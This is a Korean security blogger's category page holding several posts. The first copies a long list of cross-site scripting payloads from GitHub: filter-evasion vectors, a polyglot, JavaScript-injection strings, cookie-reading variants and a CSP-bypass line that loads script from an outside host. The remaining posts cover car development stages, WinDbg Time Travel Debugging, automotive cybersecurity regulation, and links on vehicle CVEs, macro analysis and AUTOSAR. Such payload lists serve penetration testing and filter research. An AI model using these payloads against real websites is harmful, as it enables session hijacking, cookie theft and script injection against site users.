'경로 및 정보'에 해당되는 글 192건

XSS-Payloads/Payloads.txt at master · RenwaX23/XSS-Payloads · GitHub

 

GitHub - RenwaX23/XSS-Payloads: List of XSS Vectors/Payloads

List of XSS Vectors/Payloads . Contribute to RenwaX23/XSS-Payloads development by creating an account on GitHub.

github.com

 
  <AuDiO/**/oNLoaDStaRt='(_=/**/confirm/**/(1))'/src><!--x
   
  <mArquee onStart=[~[onmouseleave(([[(alert(1))]]))]] ]
   
  <img src="/" =_=" title="onerror='/**/prompt(1)'">
   
  <w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
   
  <a/onmousemove=alert(1)//>xss
   
  https://l0.cm/xss.swf>
   
  <svg+onload=eval(location.hash.substr(1))>#alert(1)
   
  <details/open/ontoggle=confirm('XSS')>
   
  </script><svg><script>alert(1)/&apos;
   
  <svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
   
  <svg </onload ="1> (_=prompt,_(1)) "">
   
  <svg 1=""onload=alert(1)>
   
  <output name="jAvAsCriPt://&NewLine;\u0061ler&#116(1)" onclick="eval(name)">X</output>
   
  <iframe srcdoc="&lt;img src&equals;x:x onerror&equals;alert&lpar;23&rpar;&gt;" />
   
  <button onmousemove="javascript:alert(1)">xss
   
  <BoDy%0AOnpaGeshoW=+window.prompt(1)
   
  <a href=[0x0b]xss" onfocus=prompt(1) autofocus fragment="
   
  <isindex type=image src=1 onerror=alert(1)>
   
  <script>a=eval;b=alert;a(b(/ 1/.source));</script>'">
   
  <!'/!"/!\'/\"/--!><Input/Type=Text AutoFocus */; OnFocus=(confirm)(1) //>
   
  <style><img src="</style><img src=x "><object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
   
  jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
   
  <embed src=/x//alert(1)><base href="javascript:\
   
  \u003csvg/onload=alert`1`\u003e
   
  \<svg/onload=alert`1`\>
   
  <article xmlns ="urn:img src=x onerror=xss()//" >xss
   
  i\{\<\/\s\t\y\le\>\<\i\m\g\20\o\ne\r\r\o\r\=\'a\le\r\t\(d\oc\u\me\nt\.c\o\o\kie\)\'\s\rc\=\'eeeeeee\'\20\>{
   
  <img / src = \ 'dfdfd \' // onerror = \ 'alert (document.cookie) \ '>
   
  <img/src=q onerror='new Function`al\ert\`OPENBUGBOUNTY\``'>
   
  <Html Onmouseover=(alert)(1) //
   
  <a href="javascript&colon;alert&lpar;document&period;domain&rpar;">Click Here</a>
   
  <script/src=//google.com/complete/search?client=chrome%26jsonp=alert(1);>
   
  <scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
   
  &#x003c;img src=1 onerror=confirm(1)&#x003e;
   
  %26%23x003c%3Bimg%20src%3D1%20onerror%3Dalert(1)%26%23x003e%3B%0A
   
  x%22%3E%3Cimg%20src=%22x%22%3E%3C!--%2522%2527--%253E%253CSvg%2520O%256ELoad%253Dconfirm%2528/xss/%2529%253E
   
  <embed src=/x//alert(1)><base href="javascript:\
   
  <x+oncut=y=prompt,y`1`>xss
   
  <svG x=">" onload=(co\u006efirm)``>
   
  <script/xss~~~>;alert(1);</script/X~~~>
   
  <VideO/**/OnerroR=~alert("1")+/SrC>
   
  <video/poster/onerror=prompt(1)>
   
  <sVG/xss/OnLoaD+="window['confirm']+(1)">
   
  <img x/src=x /onerror="x-\u0063onfirm(1)">
   
  <VidEo/oNLoaDStaRt=confirm(1)+/src>
   
  <video/src=//w3schools.com/tags/movie.mp4%0Aautoplay/onplay=(confirm(1))>
   
  <p/%0Aonmouseover%0A=%0Aconfirm(1)>xss
   
  <span/onmouseover=confirm(1)>xss
   
  <iframe/name="javascript:confirm(1);"onload="while(1){eval(name);}">
   
  <svg/onload=window.onerror=alert;throw/XSS/;//
   
  <object data='data:text/html;base64,PFNDUklQVD5hbGVydCgnUkVOV0FYMjMnKTs8L1NDUklQVD4=' /src>
   
  <InpuT/**/onfocus=pr\u006fmpt(1)%0Aautofocus>xss
   
  <img src="x:alert" onerror="eval(src%2b'(1)')">
   
  <img/src=xss%0A/**/onerror=eval('al'%2b'ert(1)')>
   
  <img/alt=1 onerror=eval(src) src=x:alert(alt) >
   
  <isindex/**/alt=1+src=xss:window['alert']/**/(alt)+type=image+onerror=while(true){eval(src)}>
   
  <input type="text" name="foo" value=""autofocus/onfocus=alert(1)//">
   
  <math href="javascript:alert(1)">CLICKME
   
  <var onmouseover="prompt(1)">xss</var>
   
  <h1/onmouseover='alert(1)'>xss
   
  <object data="javascript:alert(1)">
   
  <--'<script>window.confirm(1)</script> --!>
   
  <div onmouseover=prompt("1")>xss
   
  <img src=x onerror=window.open('data:text/html;base64,PFNDUklQVD5hbGVydCgnUkVOV0FYMjMnKTs8L1NDUklQVD4=');>
   
  <plaintext/onmousemove=prompt(1)>xss
   
  <marquee/onstart=alert(1)>xss
   
  <embed src=javascript:alert(1)>
   
  <select autofocus onfocus=alert(1)>
   
  <textarea autofocus onfocus=alert(1)>
   
  <keygen autofocus onfocus=alert(1)>
   
  <div/onmouseover='alert(1)'>xss
   
  https://google.com'>
   
  <audio src=x onerror=confirm("1")>
   
  <iframe src="data:text/html;base64,PFNDUklQVD5hbGVydCgnUkVOV0FYMjMnKTs8L1NDUklQVD4="/>
   
  <img%09onerror=alert(1) src=a>
   
  <i onclick=alert(1)>Click here</i>
   
  <img src=<b onerror=alert('xss');>
   
  <img src="x:? title=" onerror=alert(1)//">
   
  <img src="x:gif" onerror="eval('al'%2b'ert(/xss/)')">
   
  <img src="x:gif" onerror="window['al\u0065rt'] (/'xss'/)"></img>
   
  <a onmouseover%3D"alert(1)">xss
   
  <script/%00%00v%00%00>alert(/xss/)</script>
   
  <svg/onload=document.location.href='data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4='>
   
  <script>$=1,alert($)</script>
   
  <svg•onload=alert(1)>
   
  <h1/onmouseover='alert(1)'>xss
   
  <video onerror=alert(1337) </poster>
   
  <input onfocus=alert(1337) </autofocus>
   
   
  CSP BYPASS:
   
  <script>f=document.createElement("iframe");f.id="pwn";f.src="/robots.txt";f.onload=()=>{x=document.createElement('script');x.src='//bo0om.ru/csp.js';pwn.contentWindow.document.body.appendChild(x)};document.body.appendChild(f);</script>
   
   
  POLYGLOT:
   
  javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
   
   
  HYPERLINK TAG INJECTION:
   
  javascript:alert(1)
   
  javascript://%250Aalert(document.location="https://google.com",document.location="https://www.facebook.com")
   
  javascript://%250Aalert(document.cookie)
   
  javascripT://https://google.com%0aalert(1);//https://google.com
   
  /x:1/:///%01javascript:alert(document.cookie)/
   
   
  INLINE HTML INJECTION WITHOUT TAG BREAK:
   
  " onclick=alert(1)//">click
   
  " autofocus onfocus=alert(1) "
   
  " onfocus=prompt(1) autofocus fragment="
   
  " onmouseover="confirm(1)"style="position:absolute;width:100%;height:100%;top:0;left:0;"
   
   
  JAVASCRIPT INJECTION:
   
  '?prompt`1`?'
   
  "])},alert(1));(function xss() {//
   
  ""});});});alert(1);$('a').each(function(i){$(this).click(function(event){x({y
   
  "}]}';alert(1);{{'
   
  11111';\u006F\u006E\u0065rror=\u0063onfirm; throw'1
   
  \');confirm(1);//
   
  x");$=alert, $(1);//
   
  '|alert(1)|'
   
  '*prompt(1)*'
   
  "; ||confirm('XSS') || "
   
  "-alert(1)-"
   
  \'-alert(1)};{//
   
  "'-alert(1)-'"
   
  \u0027-confirm`1`-\u0027
   
  '}};alert(1);{{'

'경로 및 정보' 카테고리의 다른 글

ASPICE 개요  (0) 2023.04.03
ISO 26262 ASIL D 와 IEC 61508 SIL 3 인증 획득한 RTOS  (0) 2023.04.03
자동차 양산 단계  (0) 2023.03.17
windbg Preview  (0) 2023.03.16
Vehicel nist  (0) 2023.03.16
블로그 이미지

wtdsoul

,

[2019.08.06] 자동차 신차 개발 단계 (tistory.com)

 

[2019.08.06] 자동차 신차 개발 단계

사실 이렇게 디테일하게 알 필요는 없겠으나 관련 업종에 있는 분은 알 필요가 있는 내용입니다. P1이 마무리가 되었네, 초도양산 시점이 언제네 등 용어를 알아야 대화를 하기에..... 자동차 신

since2018.tistory.com

 

사실 이렇게 디테일하게 알 필요는 없겠으나

관련 업종에 있는 분은 알 필요가 있는 내용입니다.

 

P1이 마무리가 되었네, 초도양산 시점이 언제네 등 용어를 알아야 대화를 하기에.....

 

자동차 신차 개발 단계 (24 Month)


1단계 Model Fix
2단계 [시작차] Proto(원시적) - 내구/법규확인 (No 생산라인으로 차량제작) | FA1, FA2
3단계 [용도차] Pilot(시험적) - 품질/설비능력확인 | 연구소(P1, P2) , 공장(T1,T2)
4단계 [선행양산] MP (Manufacture Production) - 양산성최종확인 | M1, M2
5단계 [초도양산] SOP (Start Of Production) - 신차 양산

 

단계별 순서

 

단계별 상세

 

'경로 및 정보' 카테고리의 다른 글

ISO 26262 ASIL D 와 IEC 61508 SIL 3 인증 획득한 RTOS  (0) 2023.04.03
XSS 우회 패턴 등  (0) 2023.03.20
windbg Preview  (0) 2023.03.16
Vehicel nist  (0) 2023.03.16
향후 자동차 사이버보안 강화를 위해서는  (1) 2023.03.14
블로그 이미지

wtdsoul

,

windbg Preview

경로 및 정보 2023. 3. 16. 18:46

[Research] 시간을 여행하는 해커를 위한 안내서 Part1 - hackyboiz

 

hackyboiz

hack & life

hackyboiz.github.io

머릿말

Time Travel Debugging(TTD)는 2017년에 공개된 Windbg preview의 기능입니다. 공개된 지 3년이나 지났지만 아직 한글로 된 자세한 문서는 별로 없는 거 같더라고요. windbg preview를 쓴다거나 TTD의 존재를 아는 사람이 적어서 그런가 싶기도 하고… windbg로 디버깅을 처음 해본다거나 디버깅 자체를 처음 시작하려는 사람들에겐 한글로 된 문서가 문턱의 높이를 낮추는데 큰 도움이 된다고 생각합니다.

그래서 “내가 만들어 보지 뭐”라는 생각으로 직접 공부해보면서 작성해볼까 합니다.

대략 Part 3까지 생각 중이고, Part 4까지 추가로 할 수도 있어요.

  • Part 1 : 간단 소개 및 첫인상
  • Part 2 : 구버전의 open source에서 발생하는 버그를 직접 분석해보는 실습
  • Part 3 : 크래쉬 분석에 사용해본 경험담
  • Part 4 : JavaScript를 이용한 자동화 및 고오오급 사용법

Time Travel Debugging

불현듯이 과거에 저지른 실수 때문에 이불 킥을 하고 싶은 경험을 누구나 한 번쯤은 해봤을겁니다. 과거로 돌아가 모두 없던 일로 만들 수만 있다면 얼마나 좋을까요. 물론 그게 불가능하다는 사실이 더욱 가슴을 후벼 파며 사람을 미치게 만듭니다. 하지만 Microsoft의 Debugging Experience팀은 Debugging의 한에선 과거로 돌아가 저지른 실수를 만회할 수 있게 해 줍니다.

Time Travel Debugging(TTD), is a tool that allows you to record an execution of your process running, then replay it later both forwards and backwards.

TTD는 프로세스의 실행을 “되감기(rewind)”할 수 있기 때문에 매번 버그를 재 구현하는 번거로움을 덜고 디버깅할 수 있습니다. 게다가 MS 스토어에서 windbg preview를 설치하는 것만으로 TTD를 사용할 수 있다니…

아니아니 무료라구요 손님

기본적인 사용법

관리자 권한으로 실행

디버깅 타겟의 실행을 녹화해 만들어진 Trace file(이하 .run)을 씹고 뜯고 맛보고 즐긴다는 게 TTD의 매력입니다. 그전에 우선 windbg preview를 관리자 권한으로 실행하셔야 합니다. Input/Output 트레이싱을 기록하는 디버깅 방식은 이미 존재해왔지만 TTD는 이보다 좀 더 확장된 개념으로, 프로세스의 모든 실행을 기록해 .run을 만들기 때문에 상대적으로 높은 권한을 요구합니다.

Trace file 녹화하기

[상단 메뉴] > [파일] > [Launch executable (advanced)] > 실행 파일 선택 > [Record with TTD 체크 박스]

디버깅 타겟이 될 실행 파일을 선택해준 뒤 Record with Time Trabel Debugging를 체크해주시면 됩니다.

기본적으로 .run파일은 C:\\Users\\username\\Documents에 만들어집니다. 원하신다면 생성 경로를 바꾸실 수 있습니다. .run파일의 경로를 지정 후 Record 버튼을 누르시면 프로세스의 녹화가 시작됩니다.

타겟의 녹화가 진행되고 있음을 알려주는 팝업창이 뜬다면 정상적으로 녹화되고 있다는 뜻입니다. 이 팝업창에선 타겟 프로세스, 녹화 커멘드를 보여주며 이 녹화가 진정 내가 원하는 녹화가 맞는지 최종 확인하시면 됩니다.

물론 이 팝업창이 뜬다면 그런 건 신경 쓰지 마시고 최대한 빨리 디버깅하고자 하는 이슈나 버그를 재현해주셔야 합니다. 나중에 잠시 다룰 단점의 내용이지만 간단히 설명드리자면 .run파일이 크기가 생각보다 빨리 커집니다. 이 글을 쓰기 위해 재현하는데 대략 3~4초 정도 걸리는 크래쉬를 녹화했고 1.5GB 크기의 .run파일이 만들어졌습니다. 평균적으로 영화 한 편이 1.5GB입니다. 거기다 추가로 .idx라는 파일이 0.5GB를 차지하니 총 2GB나 사용하는군요. MSDOCS에 따르면 .idx파일은 보통 .run파일의 2배 정도의 크기가 된다고 합니다.

앞으로 이 .run파일만 있다면 디버깅을 하다가 다시 버그를 재현하는 번거로움을 없앨 수 있습니다. 보통 디버깅하다 실수한다거나 컨트롤이 버그 발생시점을 넘어가버리면 restart기능을 사용해 프로세스의 시작 시점으로 돌아가야 합니다. 간혹 restart기능이 안 먹거나 디버거 자체를 재시작해야 하는 경우엔 버그를 또다시 재현해야 해서 상당히 귀찮죠. 저는 이런 경우에 vm의 스냅샷을 이용하거나 .bat파일을 사용해 버그 재현을 자동화 하곤 했습니다. 우웩…

TTD 쓰세요, 두번 쓰세요

지금까지 간단하게 TTD를 사용해본 제가 생각하는 장점, 그리고 MS에서 내세우고 있는 장점을 알아봅시다.

Re:zero부터 시작하는 디버깅? 우웩

아까 말씀드린 대로 디버깅하면서 프로세스의 시작 시점으로 돌아가는 일은 정말 빈번히 발생합니다. 이래서 우리 idioth형이 리버싱을 좋아하나 봐요. ㅋㅋㅋㅋ

디버거 종류와 상관없이 조금 만져봤다 하시는 분들은 위 사진에서 각각 기능들이 무슨 동작을 하는지 익숙할 겁니다.

  1. GO : break point 위치까지 프로그램을 실행
  2. Step Out : 현재 함수를 끝까지 실행 후 리턴
  3. Step Into : instruction 한개 실행, 만약 함수를 호출하면 함수 내부로 진입
  4. Step Over : instruction 한개 실행, 만약 함수를 호출하면 해당 함수를 끝까지 실행후 리턴

GO를 진행하기 전에 break point 설정을 잘못했다거나, Step Into를 사용해 함수 내부로 진입해야 하는 상황에서 Step Over를 하게 될 경우 눈물을 머금고 restart버튼을 눌러야 하죠. 정말 잠시 집중을 안 하면 벌어지는 일이라 짜증 나기도 하고 break point의 한계를 생각해보면 여간 귀찮은 게 아닙니다. TTD는 이런 불편함을 어떻게 해결했을까요?

Reverse Flow Control

TTD는 위에서 설명한 Flow Control 기능을 뒤집은 Reverse Flow Control을 제공합니다. 그냥 말 그대로 프로그램의 흐름을 거꾸로 거슬러 올러갈 수 있다는 뜻입니다. 아까 말한 대로 Step Into를 해야 할 상황에서 Step Over를 해버려서 분석해야 할 함수에 진입하지 못했다면 단순히 Step Over Back 하면 해결됩니다.

Time Travel Position

그럼 단순히 현재 program counter 위치로부터 intruction을 거슬러 올라가는 게 끝이냐? 그랬다면 시간여행(Time Travel)이란 이름이 붙진 않았겠죠. 녹화 시작부터 녹화 종료 시점까지 실행된 instruction마다 Time Travel Position(이하 TTP)이란 값이 매겨지는데 break point의 상위 호환이라 생각하시면 됩니다.

예를 들어 fabulous()라는 함수가 있고 이 함수가 16번째 호출된 시점에서 함수 내부에 버그가 발생했다고 가정해 봅시다. 동적 디버깅을 위해 fabulous()함수 엔트리에 break point를 걸었다면 프로세스의 시작 시점부터 버그 발생 위치까지 해당 break point에 총 16번 걸려야 합니다.

반면 Time Travel Position은 같은 함수의 같은 instruction일지라도 실행 시점이 다르다면 다른 값이 매겨집니다. !tt명령어를 사용해 임의의 TTP로 이동할 수 있으며 프로세스의 상태를 특정 시점으로 되돌릴 수 있습니다.

Timeline

MS에서 내세우는 TTD의 장점 중 제가 단연 최고라 생각하는 기능은 바로 타임라인입니다. 처음엔 동영상 재생 바처럼 마우스로 드래그하거나 클릭해서 원하는 시점으로 갈 수 있을 줄 알았는데 반은 맞고 반은 틀린 생각이더군요. 전체 프로그램 흐름 중 주요 이벤트(Exception, Break Point, Function Call, Memory Access)의 위치를 그림으로 표현해 주며 타임라인에 표시된 각 이벤트를 클릭하면 프로세스의 상태를 해당 시점으로 변경해줍니다. 그 이외의 곳은 클릭해도 이동 안합니다. ㅎㅎ;; 너무 기대가 컸나?

이벤트 중 Memory Access 같은 경우엔 특정 주소에 특정 동작(RWX)이 이루어질 때마다 타임라인에 기록되도록 지정할 수 있기 때문에 메모리 커럽션 같은 버그를 찾을 때 정말 유용하겠죠? 미디어 플레이어 딱 대

단점

뭐… 사실 단점이라면 단점이지만 앞서 설명한 장점들에 비하면 이 정도는 충분히 감수할 수 있다고 봅니다.

Trace File 크기

위에서 재현에 3~4초 걸리는 버그를 녹화한 결과로 2GB 정도의 디스크 용량을 차지한다고 했었죠? 만약 버그 재현에만 몇십 분을 소모한다고 생각하면 어후…

녹화중 오버헤드

사용하는 시스템의 사양이나 녹화 중 실행하는 코드의 양에 따라 천차만별인 데다 방금 언급한 Trace File의 크기에 직결되는 문제라 웬만하면 최대한 좋은 환경에서 빨리 녹화를 끝내도록 합시다.

Read-only Debugging

당연한 이야기지만 프로세스의 실행을 녹화하고 돌려보는 게 TTD라 다른 디버거들처럼 특정 레지스터나 메모리에 값을 임시로 변경하는 작업은 못해봅니다.

권한

아직까진 TTD로 User-mode 프로세스만 녹화가 가능합니다. Kernel-mode 프로세스는 안된다고 합니다.

마치며

이번 글은 거의 뭐 연구글이라기 보단 번역글 수준에서 끝난 거 같네요. 다음 글에선 실제로 버그를 분석해보는 실습을 해보겠습니다. 아마 구버전 오픈소스에서 발생하는 버그나 MSDOCS에서 TTD 연습용으로 제공하는 프로그램을 사용할 거 같습니다. 아니면 아예 다른 프로그램을 분석해 볼 수도 있고, 아직 정해진 건 없습니다. 그때까지 저는 크래쉬 분석하면서 TTD를 익혀올게요. 취약점도 찾고… ㅎㅎ;;

'경로 및 정보' 카테고리의 다른 글

XSS 우회 패턴 등  (0) 2023.03.20
자동차 양산 단계  (0) 2023.03.17
Vehicel nist  (0) 2023.03.16
향후 자동차 사이버보안 강화를 위해서는  (1) 2023.03.14
매크로 파워쉘  (0) 2023.03.14
블로그 이미지

wtdsoul

,

Vehicel nist

경로 및 정보 2023. 3. 16. 16:56


keyword : vehicle, automotive

 https://nvd.nist.gov/vuln/search/results?form_type=Basic&results_type=overview&query=vehicle&search_type=all&isCpeNameSearch=false 
 https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=automotive 

'경로 및 정보' 카테고리의 다른 글

자동차 양산 단계  (0) 2023.03.17
windbg Preview  (0) 2023.03.16
향후 자동차 사이버보안 강화를 위해서는  (1) 2023.03.14
매크로 파워쉘  (0) 2023.03.14
CVE 2023 21716 Poc  (0) 2023.03.10
블로그 이미지

wtdsoul

,

사이버보안 위험 평가 능력 내재화 및 보안 요구사항 이행 위한 보안 솔루션 도입 등 필요

[보안뉴스= 고영대 삼정KPMG 컨설팅부문 상무/이유식 이타스코리아 박사] 그동안의 연재를 통해 UNECE 자동차 사이버보안 규제 대응에 대한 필요성과 더불어 자동차 사이버보안 체계 수립에 있어 반드시 필요한 CSMS(Cyber Security Management System)와 VTA(Vehicle Type Approval), 위험평가 및 보안 테스팅에 대해 살펴봤다. 앞서 소개한 UNECE 자동차 사이버보안 규제의 요구사항들을 기초로 마지막 연재에서는 자동차 제조사 및 협력사들이 향후 자동차 사이버보안 체계 강화를 위해 반드시 수행해야 할 사항들에 대해 살펴보고자 한다.

[Automotive Cybersecurity: Are You Ready? 연재순서]
1. UNECE 자동차 사이버보안 규제 대응의 필요성
2. UN 자동차 사이버보안 요구사항 (1): 사이버보안 관리체계, 차량 형식 승인
3. UN 자동차 사이버보안 요구사항 (2): 위험평가, 보안 테스팅
4. 향후 자동차 사이버보안 강화를 위해서는

[이미지=utoimage]


자동차 사이버보안 관리체계 정립을 위한 Security Enhancement
제조 환경을 포함한 국내 대다수 기업 및 조직들의 사이버보안 활동은 주로 IT 인프라 환경을 기반으로 대외로부터의 침해위협 대응과 대내로부터의 정보유출 예방과 방지 중심으로 발전해온 측면이 있다. 이러한 IT 중심의 정보보호 관리체계에서 자동차 업종에 특화된 자동차 사이버보안 체계를 새로이 정립하는 것이 단순히 쉬운 일은 아닐 것이다. 그동안 비교적 사각지대에 속해 있던 차량 기획부터 생산 및 생산 후 과정에 이르는 라이프 사이클(Life Cycle) 전반에 걸친 자동차 사이버보안 관리 활동을 위해서는 우선적으로 다음과 같은 사항들에 대한 고려가 필요하다.

우선, 기존 IT 중심의 정보보호 조직체계의 업무 역할에 대한 재분배를 통해 자동차 사이버보안 관리체계 수립을 위한 유관 부서간 책임과 역할을 재정립할 필요가 있다. 아래 예시에서 보는 바와 같이, 기존 정보보호 조직 내 자동차 사이버보안 관리에 필요한 CSMS 기획 및 운영에 필요한 제반 역할들을 담당할 ‘자동차보안 부서’를 신설하거나, 기존 보안업무 프로세스를 중심으로 유사 영역별 자동차 보안관리 기능을 할당하는 등 여러 가지 옵션을 선택할 수 있을 것으로 보인다. 즉, 자동차 사이버보안 관리체계 전담 부서(파트) 또는 담당자를 두고 이를 중심으로 CSMS를 대응해야 할 것이다.

▲자동차보안 조직 구성안[자료=삼정KPMG/이타스코리아]


조직적인 정비를 수행함과 더불어 당연히 필요한 것은 해당 조직에서 수행해야하 는 업무 프로세스와 이를 위한 세부 규정 또는 지침 마련이다. 자동차 사이버보안 관련 규정 및 지침, 이를 운영하기 위한 세부 가이드라인이 준비되어야 한다. CSMS에서는 자동차 사이버보안 관리체계 운영을 위한 별도의 규정과 세부 업무절차를 마련하도록 의무화하고 있기에 현재 각 기업에서 보유 및 운영하고 있는 정보보호 제반 규정을 보완해 CSMS에서 요구하고 있는 영역별 기능이 포함된 자동차 보안규정을 제·개정해야 한다. 다만, 기존 정보보호 규정을 개정하여 자동차 보안 관련 부분을 포함할 것이냐, 그렇지 않으면 자동차 보안관리 규정을 새로이 제정할 것이냐에 대한 조직 내부 조율이 필요할 것으로 보인다.

▲자동차보안 관리 규정 수립[자료=삼정KPMG/이타스코리아]


국내외 컴플라이언스 및 국제 표준에 대한 지속적인 변화관리
첫 번째 연재 내용인 ’ UNECE 자동차 사이버보안 규제 대응의 필요성’에서도 언급한 바와 같이 UNECE 자동차 사이버보안 규정 시행에 맞춰 국내에서도 자동차 사이버보안 법제화 및 표준 업무 가이드 작업이 국토교통부를 중심으로 진행되고 있다. 해당 표준 작업 방향에 따라 향후 우리나라의 자동차 사이버보안을 위한 컨트롤타워 수립, 중점 추진방향 및 세부 이행 가이드 등 다양한 분야에 대한 변화가 예상되어 이를 지속적으로 모니터링할 필요가 있다. 국내 법제화 및 표준 작업뿐만 아니라, 우리나라와 비슷한 상황에 놓인 중국, 미국, 일본 등과 같은 글로벌 자동차 수출국에 대한 동향 또한 놓쳐서는 안 될 것이다.

▲자동차 사이버보안 관련 제도[자료=삼정KPMG/이타스코리아]


또한, 자동차 사이버보안 국제 표준인 ISO/SAE 21434 규격의 최종 버전(final version)이 올해 초에 곧 배포될 예정에 있다. ISO21434 DIS 규격에 따르면, 일반적으로 널리 알려져 있는 Cyber Security와 관련한 국제 표준을 상당수 참고하고 있다. 정보보호 관리체계 국제표준인 ISO27001, 위험평가와 관련한 ISO31000 뿐만 아니라, OT(Operation Technology) 보안 관리 표준인 ISO62443 등을 그 예로 들 수 있다.

이에 보다 효율적이고 체계적인 UNECE 자동차 사이버보안 규정에 대응하기 위해서는 해당 규정 및 ISO21434 표준 이외에 국내외 각국의 법제화, 표준화 동향 및 전통적인 Cyber Security 표준 제도에도 관심을 기울여야 할 것이다.

자동차 제조사 및 부품 협력사간 사이버보안을 위한 상생 모델 수립
자동차 제조사의 경우, UNECE 자동차 사이버보안 규정 및 ISO21434 표준 이외에 제조사 자체적으로, 협력사가 준수해야할 자동차 사이버보안 표준 항목을 추가하여 보안 수준을 높이려는 움직임을 보이고 있다. 이러한 움직임은 자동차 사이버보안 체계 수립 및 운영을 위해 자동차 제조사와 협력사간 상호 유기적인 보완 활동이 필요하다는 공감에서부터 비롯된다고 볼 수 있다.

▲자동차 제조사 및 협력사간 주요 역할[자료=삼정KPMG/이타스코리아]


자동차 사이버보안 관리의 시작과 안정적 운영을 위해 자동차 제조사의 경우, 제조 및 비즈니스 환경 등을 고려해 부품 협력사와의 자동차 사이버보안 관리 수준 강화를 위한 상호 협력 방안을 만들고, 이를 지원해야 할 것이다. 또한, 부품 협력사의 입장에서도, 자동차 제조사와의 긴밀한 협력 하에 자동차 제조사의 사이버보안 요구사항에 부합하기 위한 내부관리체계를 마련하고 이를 지속적으로 관리해야 할 의무가 있을 것이다.

차량 형식 승인을 위한 실무 역량 강화 및 보안 솔루션 도입
UNECE Regulation No. 155가 말하는 차량 형식 승인의 본질은 사이버 공격으로부터 안전한 차량을 만드는 것이고, 이를 위하여 적절한 보안 기술이 차량에 탑재되어야 함을 의미한다. 어떤 보안 기술이 탑재되어야 하는가는 위험 분석을 통해 식별되며, 보안 시험을 통해 증명될 수 있다. 즉, 차량에 어떤 자산과 위협들이 있는지 식별하고 해당 위협들이 사이버 보안 관점에서 위험한 지 분석한 후, 위험하다고 판단된 위협들을 완화하기 위해 보안조치를 취하게 된다. 그리고 완화시키려한 위협을 공격에 이용하는 모의해킹 등의 보안 시험을 수행하여 해당 위협으로부터 차량이 안전함을 보임으로써 위험 분석 및 보안조치가 적절했음을 증명할 수 있다. 앞서의 과정이 차량 제조사와 협력사 사이에서 적용되는 과정을 살펴보면 다음과 같다.

▲안전성 확보를 위한 아이템 개발 과정[자료=삼정KPMG/이타스코리아]


이상에서 살펴본 바와 같이 차량 형식 승인을 받기 위해서 차량 제조사와 협력사는 긴밀하게 협력해야 하며, 다음과 같은 역량을 갖추고 키워야 한다는 걸 알 수 있다.

- 사이버보안 위험 평가(Risk assessment) 능력 내재화
- 사이버보안 요구사항 이행을 위한 보안 솔루션 도입(HSM, IDS, OTA 등)
- 사이버보안 요구사항 검증을 위한 보안 테스트 수행 및 검증(Fuzzing, Penetration Test 등)

'경로 및 정보' 카테고리의 다른 글

windbg Preview  (0) 2023.03.16
Vehicel nist  (0) 2023.03.16
매크로 파워쉘  (0) 2023.03.14
CVE 2023 21716 Poc  (0) 2023.03.10
arxml-app  (0) 2023.03.09
블로그 이미지

wtdsoul

,

파이썬 - 매크로 추출 스크립트 OleVBA.py : 네이버 블로그 (naver.com)

 

파이썬 - 매크로 추출 스크립트 OleVBA.py

MS Office제품 대상으로 VBA매크로 코드를 효과적으로 추출할 수 있는 파이썬 도구를 발견했다. 이미...

blog.naver.com

공유 - https://github.com/rshipp/awesome-malware-analysis : 네이버 블로그 (naver.com)

 

공유 - https://github.com/rshipp/awesome-malware-analysis

출처: https://github.com/rshipp/awesome-malware-analysis 구글링 도중 악성코드 관련 도구 및 정보...

blog.naver.com

악성코드 – 문서형 악성코드 분석(매크로 행위 후 엑셀종료) : 네이버 블로그 (naver.com)

 

악성코드 – 문서형 악성코드 분석(매크로 행위 후 엑셀종료)

문서형 악성코드 매크로 유형을 분석하다 보면 몇 가지 한정적으로 나타난다. (실행형도 마찬가지) 이러한 ...

blog.naver.com

 

'경로 및 정보' 카테고리의 다른 글

Vehicel nist  (0) 2023.03.16
향후 자동차 사이버보안 강화를 위해서는  (1) 2023.03.14
CVE 2023 21716 Poc  (0) 2023.03.10
arxml-app  (0) 2023.03.09
AUTOSAR 기술 이해  (0) 2023.03.09
블로그 이미지

wtdsoul

,

 

Critical Microsoft Word vulnerability CVE-2023-21716 gets a POC (thestack.technology)

 

Critical Microsoft Word vulnerability CVE-2023-21716 gets a POC

A proof-of-concept for CVE-2023-21716 to exploit a critical vulnerability in Microsoft Word requires just three lines of code.

thestack.technology

 

https://github.com/advisories/GHSA-64mm-8wcm-jw5g

 

CVE-2023-21716 - GitHub Advisory Database

Microsoft Word Remote Code Execution Vulnerability

github.com

 

'경로 및 정보' 카테고리의 다른 글

향후 자동차 사이버보안 강화를 위해서는  (1) 2023.03.14
매크로 파워쉘  (0) 2023.03.14
arxml-app  (0) 2023.03.09
AUTOSAR 기술 이해  (0) 2023.03.09
Argus 기사  (0) 2023.03.09
블로그 이미지

wtdsoul

,

arxml-app

경로 및 정보 2023. 3. 9. 15:41

GitHub - mahmut-aksakalli/arxml-viewer: This tool aims to visualize ARXML files in human readable form with easy search operations.

 

GitHub - mahmut-aksakalli/arxml-viewer: This tool aims to visualize ARXML files in human readable form with easy search operatio

This tool aims to visualize ARXML files in human readable form with easy search operations. - GitHub - mahmut-aksakalli/arxml-viewer: This tool aims to visualize ARXML files in human readable form ...

github.com

 

 

'경로 및 정보' 카테고리의 다른 글

매크로 파워쉘  (0) 2023.03.14
CVE 2023 21716 Poc  (0) 2023.03.10
AUTOSAR 기술 이해  (0) 2023.03.09
Argus 기사  (0) 2023.03.09
자동차 버그바운티 경로  (0) 2023.03.07
블로그 이미지

wtdsoul

,
 
 
 
1. AUTOSAR의 실무 이해
2. AUTOSAR OS
3. AUTOSAR RTE
4. AUTOSAR MCAL
5. AUTOSAR CAN
6. AUTOSAR FlexRay
 
 
AUTOSAR(AUTomotive Open System ARchitecture)란?  
